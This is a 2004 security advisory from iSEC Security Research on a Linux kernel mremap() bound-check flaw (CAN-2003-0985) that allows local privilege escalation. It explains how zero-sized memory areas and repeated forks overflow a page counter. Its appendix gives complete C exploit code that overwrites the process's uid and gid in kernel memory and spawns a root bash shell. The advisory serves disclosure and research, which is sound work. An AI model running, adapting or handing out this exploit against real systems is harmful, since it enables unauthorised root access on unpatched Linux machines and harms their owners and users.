Synopsis:    Linux kernel do_mremap local privilege escalation vulnerability
Product:     Linux kernel
Version:     2.4 up to 2.4.23 and 2.6.0
Vendor:      https://www.kernel.org/

URL:         https://isec.pl/vulnerabilities/isec-0013-mremap.txt
CVE:         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0985
Author:      Paul Starzetz <ihaquer@isec.pl>,
             Wojciech Purczynski <cliph@isec.pl>

Date:        January 5, 2004
Update:      January 15, 2004


Issue:
======

A critical security vulnerability has been found in the Linux kernel
memory management code in mremap(2) system call due to incorrect bound
checks.


Vulnerability details:
======================

The mremap system call provides functionality of resizing (shrinking or
growing) as well as moving across process's addressable space of existing
virtual memory areas (VMAs) or any of its parts.

A typical VMA covers at least one memory page (which is exactly 4kB on
the i386  architecture). An incorrect bound check discovered inside the
do_mremap() kernel code performing remapping of a virtual memory area
may lead to creation of a virtual memory area of 0 bytes in length.

The problem bases on the general mremap flaw that remapping of 2 pages
from inside a VMA creates a memory hole of only one page in length but
also an additional VMA of two pages. In the case of a zero sized
remapping request no VMA hole is created but an additional VMA descriptor
of 0 bytes in length is created.

Such a malicious virtual memory area may disrupt the operation of the other
parts of the kernel memory management subroutines finally leading to 
unexpected behavior.

A typical process's memory layout showing invalid VMA created with
mremap system call:

    08048000-0804c000 r-xp 00000000 03:05 959142     /tmp/test
    0804c000-0804d000 rw-p 00003000 03:05 959142     /tmp/test
    0804d000-0804e000 rwxp 00000000 00:00 0
    40000000-40014000 r-xp 00000000 03:05 1544523    /lib/ld-2.3.2.so
    40014000-40015000 rw-p 00013000 03:05 1544523    /lib/ld-2.3.2.so
    40015000-40016000 rw-p 00000000 00:00 0
    4002c000-40158000 r-xp 00000000 03:05 1544529    /lib/libc.so.6
    40158000-4015d000 rw-p 0012b000 03:05 1544529    /lib/libc.so.6
    4015d000-4015f000 rw-p 00000000 00:00 0
[*] 60000000-60000000 rwxp 00000000 00:00 0
    bfffe000-c0000000 rwxp fffff000 00:00 0

The broken VMA in the above example has been marked with a [*].


Exploitation:
=============

The iSEC team has identified multiple attack vectors for the bug discovered. 
In this section we want to describe the page counter method however we strongly
believe that a much faster and more convenient method exists.

As mentioned above a VMA of 0 bytes in size can be introduced into the process's
virtual memory list. Its unusual size renders such a VMA partially invisible to 
the kernel main VM helper routine called find_vma(). The find_vma(ADDR) function
returns the first VMA descriptor (START, END) from the current process's list
satysfying ADDR < END or NULL if none. Obviously given a VMA starting and ending
at the same address ADDR the condition is violated if one searches for ADDR's VMA
thus the next VMA in the list will be returned.

The mremap() code calls the insert_vm_struct() helper function after creating
the bogus VMA descriptor in kernel memory which in turn checks the new location
calling the find_vma() helper which returns the wrong result if a zero sized VMA
is already present in the new location. Therefore it is possible to introduce 
multiple bogus VMA descriptors for the same virtual memory address. This happens only
if the adjacent zero sized VMAs differ in their descriptor flags because otherwise
they will be linked together in insert_vm_struct(). 

Later the process virtual memory list could look like:

    08048000-080a2000 r-xp 00000000 03:02 53159      /tmp/test
    080a2000-080a5000 rw-p 00059000 03:02 53159      /tmp/test
    080a5000-080a6000 rwxp 00000000 00:00 0
    40000000-40001000 r--p 00000000 00:00 0
    60000000-60000000 r--p 00000000 00:00 0
    60000000-60000000 rw-p 00000000 00:00 0
    60000000-60000000 r--p 00000000 00:00 0
    60000000-60001000 rwxp 00000000 00:00 0
    bffff000-c0000000 rwxp 00000000 00:00 0


Further we have found that there is an off-by-one increment inside the
copy_page_range() function for the page counter of the first VMA page directly
following a zero sized VMA area. This is not a bug in the copy_page_range code(),
it is just a feature for a combined zero and non-zero VMA. The copy_page_range
function is called on fork() to copy parent's page tables into the child process.

Moreover we must note that it is possible to remove a zero-sized VMA from the 
virtual memory list if another suitable VMA is mapped directly below the starting
address of the 0-VMA. Suitable means that the new VMA must have exactly the same
attributes (read, exec, etc) as the following zero-sized VMA and do not map a 
file. This again is a feature of the mmap() system call which will try to 
minimize the number of used VMA descriptors merging them if possible. Note that
merging the VMAs doesn't influence any page counters in following VMAs.

Combining the findings above we conclude that it is possible to arbitrarily 
increment the page counter of the first VMA page by forking more and more a 
process with a zero-sized VMA 'sandwich'. Cleanup must be done in the child 
before it can exit() otherwise the kernel would print a nasty error message
while trying to remove the bogus VMA mappings.

The goal is to overflow the page counter to become 1 again in the child process.
If the corresponding VMA is unmapped now, the page counter will become 0 and the
page returned to the kernel memory management. Note that the parent will still 
hold a reference to the freed page in its page table thus making a manipulation 
of kernel memory possible.

Let's take a closer look at the incrementing of the page counter. 
We can introduce M (marked with A's and B's) 0-sized VMAs directly before the
victim VMA hosting the page we want the counter to overflow. If the victim maps
anonymous memory, the first write access to the victim VMA page (marked with P)
will allocate and insert a fresh page frame into the process's page table and
the page counter will be set to 1:

[A][B][A][B] ... [A][P  VICTIM  ]

After the first fork() P's page counter will become 1 + M + 1 where the first
one is for the original copy in the parent, M for the bogus VMAs and one for
the copy in the child. Cleaning up the 0-VMAs in the child will not change the
page counter however it will be decremented by one on child's exit. Thus after
the first fork()-exit() pair it will become 1 + M. We can conclude for N forks
taking integer overflows into account that without the final exit() call in the
child following equation holds:

1 + M*N + 1 = 1

or that

M*N = 2^32-1 = 3 * 5 * 17 * 257 * 65537

Thus we can for example choose to create (3*5*257) 0-sized VMAs and fork the
parent (17*65537) times to overflow P's page counter. This may be a quite 
longish task. Times ranging from about one hour on a fast machine to more than
10 hours have been observed.

Further exploitation proves to be easy because the kernel page management has 
the nice property to use a kind of reversed LRU policy for page allocation.
That means that if a page has been released to the kernel MM subsystem it will 
be returned on a subsequent allocation request. The released page could be for
example allocated to a file mapping we can normally only read from or to kernel 
structures, etc.

It is worth noting that the parent's page reference (PTE) must be unprotected
before we can use it to modify page contents because fork() will mark it as 
read only (for copy-on-write reasons).


Impact:
=======

Since no special privileges are required to use the mremap(2) system
call any process may misuse its unexpected behavior to disrupt the kernel
memory management subsystem. Proper exploitation of this vulnerability may
lead to local privilege escalation including execution of  arbitrary  code
with kernel level access. Proof-of-concept exploit code has been created 
and successfully tested giving UID 0 shell on vulnerable systems.

All users are encouraged to patch all vulnerable systems as soon as 
appropriate vendor patches are released.


Credits:
========

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and
performed further research. 


Disclaimer:
===========

This  document and all the information it contains are provided "as is",
for educational purposes only, without warranty of any kind, whether 
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in
this document. Liability claims regarding damage caused by the use of
any information provided, including any kind of information which is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 * Linux kernel mremap() bound checking bug exploit.
 *
 * Bug found by Paul Starzetz <paul@isec.pl>
 *
 * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
 * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED  2

#define str(s)   #s
#define xstr(s) str(s)

#define DSIGNAL    SIGCHLD
#define CLONEFL    (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
#define PAGEADDR  0x2000

#define RNDINT    512

#define NUMVMA    (3 * 5 * 257)
#define NUMFORK    (17 * 65537)

#define DUPTO    1000
#define TMPLEN    256

#define __NR_sys_mremap  163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long new_len,
       unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid, gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
  printf("\n");
  if (!errno) {
    fprintf(stderr, "FATAL: %s\n", msg);
  } else {
    perror(msg);
  }

  printf("\nentering endless loop");
  fflush(stdout);
  fflush(stderr);
  while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
  int i, c;
  int *v;

  if (!file)
    goto out;

  __asm__("movl  %%esp, %0" : : "m" (c));

  c &= 0xffffe000;
  v = (void *) c;

  for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
    if (v[i] == uid && v[i+1] == uid) {
      i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
    }
    if (v[i] == gid) {
      v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
      break;
    }
  }
out:
  dummy++;
}

void try_to_exploit(void)
{
  int v = 0;

  v += fops[0];
  v += fake_file[0];

  kernel_code(0, 0, v);
  lseek(DUPTO, 0, SEEK_SET);

  if (geteuid()) {
    printf("\nFAILED uid!=0"); fflush(stdout);
    errno =- ENOSYS;
    fatal("uid change");
  }

  printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

  kill(ppid, SIGUSR1);
  setresuid(0, 0, 0);
  sleep(1);

  printf("\n\n"); fflush(stdout);

  execl("/bin/bash", "bash", NULL);
  fatal("burp");
}

void cleanup(int v)
{
  victim[DUPTO] = victim[0];
  kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
  printf("\n[!] parent check race... "); fflush(stdout);

  if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
    printf("SUCCESS, cought SLAB page!"); fflush(stdout);
    victim[DUPTO] = (unsigned) & fake_file;
    signal(SIGUSR1, &cleanup);
    kill(pid, SIGUSR1);
  } else {
    printf("FAILED!");
  }
  fflush(stdout);
}

int get_slab_objs(void)
{
  FILE * fp;
  int c, d, u = 0, a = 0;
  static char line[TMPLEN], name[TMPLEN];

  fp = fopen("/proc/slabinfo", "r");
  if (!fp)
    fatal("fopen");

  fgets(name, sizeof(name) - 1, fp);
  do {
    c = u = a =- 1;
    if (!fgets(line, sizeof(line) - 1, fp))
      break;
    c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
  } while (strcmp(name, "size-4096"));
  
  fclose(fp);

  return c == 7 ? a - u : -1;
}

void unprotect(int v)
{
  int n, c = 1;

  *victim = 0;
  printf("\n[+] parent unprotected PTE "); fflush(stdout);

  dup2(0, 2);
  while (1) {
    n = get_slab_objs();
    if (n < 0)
      fatal("read slabinfo");
    if (n > 0) {
      printf("\n    depopulate SLAB #%d", c++);
      blah = 0; kill(hpid, SIGUSR1);
      while (!blah) pause();
    }
    if (!n) {
      blah = 0; kill(hpid, SIGUSR1);
      while (!blah) pause();
      dup2(0, DUPTO);
      break;
    }
  }

  signal(SIGUSR1, &redirect_filp);
  kill(pid, SIGUSR1);
}

void cleanup_vmas(void)
{
  int i = NUMVMA;

  while (1) {
    tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
        MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
    if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
      printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
      fatal("unmap1");
    }
    i--;
    if (!i)
      break;

    tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
        MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
      printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
      fatal("unmap2");
    }
    i--;
    if (!i)
      break;
  }
}

void catchme(int v)
{
  blah++;
}

void exitme(int v)
{
  _exit(0);
}

void childrip(int v)
{
  waitpid(-1, 0, WNOHANG);
}

void slab_helper(void)
{
  signal(SIGUSR1, &catchme);
  signal(SIGUSR2, &exitme);
  blah = 0;

  while (1) {
    while (!blah) pause();

    blah = 0;
    if (!fork()) {
      dup2(0, DUPTO);
      kill(getppid(), SIGUSR1);
      while (1) pause();
    } else {
      while (!blah) pause();
      blah = 0; kill(ppid, SIGUSR2);
    }
  }
  exit(0);
}

int main(void)
{
  int i, r, v, cnt;
  time_t start;

  srand(time(NULL) + getpid());
  ppid = getpid();
  uid = getuid();
  gid = getgid();

  hpid = fork();
  if (!hpid)
    slab_helper();

  fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  if (fops == MAP_FAILED)
    fatal("mmap fops VMA");
  for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
    fops[i] = (unsigned)&kernel_code;
  for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
    fake_file[i] = (unsigned)fops;

  vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  if (vma_ro == MAP_FAILED)
    fatal("mmap1");

  vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  if (vma_rw == MAP_FAILED)
    fatal("mmap2");

  cnt = NUMVMA;
  while (1) {
    r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
    if (r == (-1)) {
      printf("\n[-] ERROR remapping"); fflush(stdout);
      fatal("remap1");
    }
    cnt--;
    if (!cnt) break;

    r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
    if (r == (-1)) {
      printf("\n[-] ERROR remapping"); fflush(stdout);
      fatal("remap2");
    }
    cnt--;
    if (!cnt) break;
  }

  victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  if (victim != (void *) PAGEADDR)
    fatal("mmap victim VMA");

  v = *victim;
  *victim = v + 1;

  signal(SIGUSR1, &unprotect);
  signal(SIGUSR2, &catchme);
  signal(SIGCHLD, &childrip);
  printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
  start = time(NULL);

  cnt = NUMFORK;
  v = 0;
  while (1) {
    cnt--;
    v--;
    dummy += *victim;

    if (cnt > 1) {
      __asm__(
      "pusha        \n"
      "movl %1, %%eax      \n"
      "movl $("xstr(CLONEFL)"), %%ebx  \n"
      "movl %%esp, %%ecx    \n"
      "movl $120, %%eax    \n"
      "int  $0x80      \n"
      "movl %%eax, %0      \n"
      "popa        \n"
      : : "m" (pid), "m" (dummy)
      );
    } else {
      pid = fork();
    }

    if (pid) {
      if (v <= 0 && cnt > 0) {
        float eta, tm;
        v = rand() % RNDINT / 2 + RNDINT / 2;
        tm = eta = (float)(time(NULL) - start);
        eta *= (float)NUMFORK;
        eta /= (float)(NUMFORK - cnt);
        printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
        NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
        fflush(stdout);
      }
      if (cnt) {
        waitpid(pid, 0, 0);
        continue;
      }
      if (!cnt) {
        while (1) {
           r = wait(NULL);
           if (r == pid) {
             cleanup_vmas();
            while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
           }
        }
      }
    }

    else {
      cleanup_vmas();

      if (cnt > 0) {
        _exit(0);
      }

      printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
      sleep(1);

      signal(SIGUSR1, &catchme);
      munmap(0, PAGE_SIZE);
      dup2(0, 2);
      blah = 0; kill(ppid, SIGUSR1);
      while (!blah) pause();

      munmap((void *)victim, PAGE_SIZE);
      dup2(0, DUPTO);

      blah = 0; kill(ppid, SIGUSR1);
      while (!blah) pause();
      try_to_exploit();
      while (1) pause();
    }
  }
  return 0;
}


-- 
Paul Starzetz
iSEC Security Research
https://isec.pl/